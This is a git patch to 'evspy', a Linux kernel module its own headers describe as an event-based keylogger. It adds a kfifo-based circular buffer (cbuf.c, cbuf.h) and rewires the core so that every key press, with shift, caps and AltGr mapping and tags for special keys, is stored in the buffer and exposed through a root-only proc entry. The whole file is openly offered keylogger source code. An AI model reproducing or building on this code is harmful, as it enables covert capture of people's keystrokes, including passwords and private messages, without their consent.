From 28974e52f86f8873d47a899cbb2e5b122d62bfc1 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Sat, 29 Oct 2011 21:37:52 +0200 Subject: First version of cbuf.c and cbuf.h Switching to standard kfifo.h Linux circular buffer implementation --- Makefile | 2 +- cbuf.c | 55 +++++++++++++++++++++++++++++++++++++++++++++++++++++ cbuf.h | 36 +++++++++++++++++++++++++++++++++++ evspy-core.c | 62 +++++++++++++----------------------------------------------- evspy-core.h | 59 +++++++-------------------------------------------------- 5 files changed, 112 insertions(+), 102 deletions(-) create mode 100644 cbuf.c create mode 100644 cbuf.h diff --git a/Makefile b/Makefile index 573b77f..90f40ae 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,5 @@ obj-m += evspy.o -evspy-objs := kmap/kmap.o evspy-core.o +evspy-objs := kmap/kmap.o evspy-core.o cbuf.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules diff --git a/cbuf.c b/cbuf.c new file mode 100644 index 0000000..6447ae1 --- /dev/null +++ b/cbuf.c @@ -0,0 +1,55 @@ +/* + * evspy - event based keylogger (Linux module) + * + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * based on evbug module by Vojtech Pavlik ((c) 1999-2001) + * + * This file is part of evspy + * + * evspy is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * evspy is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with evspy. If not, see . + */ + +#include +#include "cbuf.h" + +DECLARE_KFIFO(cbuffer, char, CBUF_SIZE); + +void cbuf_init(void) +{ + INIT_KFIFO(cbuffer); +} + +int cbuf_read(char *to, int count, int *eof) +{ + int tmp = kfifo_len(&cbuffer); + unsigned int n = min(tmp, count); // TODO n = count? + + n = kfifo_out(&cbuffer, to, n); + + if (kfifo_is_empty(&cbuffer)) + *eof = 1; + + return n; +} + +void cbuf_write(char c) +{ + /* + * The kfifo implementation doesn't allow to write in a full buffer, so if + * we want to do it anyway, we must first delete the last element + */ + if (kfifo_is_full(&cbuffer)) + kfifo_skip(&cbuffer); + kfifo_put(&cbuffer, &c); +} diff --git a/cbuf.h b/cbuf.h new file mode 100644 index 0000000..a996cee --- /dev/null +++ b/cbuf.h @@ -0,0 +1,36 @@ +/* + * evspy - event based keylogger (Linux module) + * + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * based on evbug module by Vojtech Pavlik ((c) 1999-2001) + * + * This file is part of evspy + * + * evspy is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * evspy is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with evspy. If not, see . + */ + +#ifndef _EVS_CBUF_H +#define _EVS_CBUF_H + + +#include + +#define CBUF_SIZE PAGE_SIZE // size of the circular buffer (4K) + +void cbuf_init(void); +int cbuf_read(char *to, int count, int *eof); +void cbuf_write(char c); + + +#endif /* _EVS_CBUF_H */ diff --git a/evspy-core.c b/evspy-core.c index b33fd27..58625a2 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -21,14 +21,11 @@ */ #include "evspy-core.h" +#include "cbuf.h" -static char *buffer; // circular buffer -static char *rdp; // read pointer -static char *wrp; // write pointer static unsigned short int capslock_on = 0; static unsigned short int shift_on = 0; - #ifdef EVS_ALTGR_ENABLED static unsigned short int altgr_on = 0; #endif @@ -39,10 +36,7 @@ static unsigned short int altgr_on = 0; static int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) { - int n, toend; - int retval = 0; - int diff = wrp - rdp; - + int n; // root only plz if (current_uid() || current_euid()) { #if EVS_TROLL == 1 @@ -55,35 +49,7 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, #endif } - // wrp > rdp: read from rdp to wrp - if (diff > 0) { - n = min(diff, count); - strncpy(page, rdp, n); - rdp += n; - retval = n; - - // rdp > wrp: read from rdp to end of buffer and then from the beginning of - // the buffer to wrp - } else if (diff < 0) { - toend = (buffer + EVS_BUFSIZE) - rdp; - n = min(toend, count); - strncpy(page, rdp, n); - retval = n; - - if (n < toend) { - rdp += n; - } else { - n = min(wrp - buffer, count - retval); - strncpy(page + retval, buffer, n); - retval += n; - rdp = buffer + n; - } - } - - // wrp == rdp: buffer is empty - if (rdp == wrp) - *eof = 1; - return retval; + return cbuf_read(page, count, eof); } /* @@ -173,7 +139,7 @@ static void special_char(unsigned int code, unsigned int value) sp_tag[1] = '-'; while (*sp_tag) - evs_insert(*sp_tag++); + cbuf_write(*sp_tag++); } static void evspy_event(struct input_handle *handle, unsigned int type, @@ -183,10 +149,10 @@ static void evspy_event(struct input_handle *handle, unsigned int type, if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) { return; - // Backspace - } else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) { - evs_backspace(); - return; +// // Backspace +// } else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) { +// evs_backspace(); +// return; // Special/unknown keys (alt, ctrl, esc, shift, etc) } else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) { @@ -196,13 +162,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type, } else if (value == EVS_VAL_PRESS) { #ifdef EVS_ALTGR_ENABLED if (altgr_on) - evs_insert(evs_altgr(code)); + cbuf_write(evs_altgr(code)); else #endif if (shift_on || capslock_on) - evs_insert(evs_shift(code)); + cbuf_write(evs_shift(code)); else - evs_insert(map[code]); + cbuf_write(map[code]); } } @@ -266,15 +232,13 @@ static int __init evspy_init(void) #ifdef EVS_ALTGR_ENABLED init_altgrmap(); #endif - buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); - rdp = wrp = buffer; - return !buffer || input_register_handler(&evspy_handler); + cbuf_init(); + return input_register_handler(&evspy_handler); } static void __exit evspy_exit(void) { input_unregister_handler(&evspy_handler); - kfree(buffer); #ifdef EVS_ALTGR_ENABLED exit_altgrmap(); #endif diff --git a/evspy-core.h b/evspy-core.h index dfc0b2e..e9727f4 100644 --- a/evspy-core.h +++ b/evspy-core.h @@ -51,62 +51,17 @@ #define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z') -/* - * If pointer is at the end of buffer, put it at the beginning. - * If not, simply add 1 to it. - */ -#define evs_incp(p) \ -({ \ - if ((p) == &buffer[EVS_BUFSIZE-1]) \ - (p) = buffer; \ - else \ - (p)++; \ - (p); \ -}) - -/* - * Same as evs_incp but backwards - */ -#define evs_decp(p) \ -({ \ - if ((p) == buffer) \ - (p) = &buffer[EVS_BUFSIZE-1]; \ - else \ - (p)--; \ - (p); \ -}) - -/* - * Insert character c where wrp is pointing and move it to the next char. - * If rdp == wrp, increase rdp too. - */ -#define evs_insert(c) \ -({ \ - *wrp = (c); \ - if (evs_incp(wrp) == rdp) \ - evs_incp(rdp); \ -}) - -/* - * Remove a character from the buffer - */ -#define evs_delete() \ -({ \ - if (likely(wrp != rdp)) \ - evs_decp(wrp); \ -}) - /* * Try to delete the last char inserted. If it is a special key ("[KEY]"), * insert "[<<]" instead */ -#define evs_backspace() \ -({ \ - if (*(wrp-1) != ']') \ - evs_delete(); \ - else \ - special_char(KEY_BACKSPACE, EVS_VAL_PRESS); \ -}) +//#define evs_backspace() \ +//({ \ +// if (*(wrp-1) != ']') \ +// +// else \ +// special_char(KEY_BACKSPACE, EVS_VAL_PRESS); \ +//}) /* * Is the c event code associated to any of the FX buttons? -- cgit v1.2.3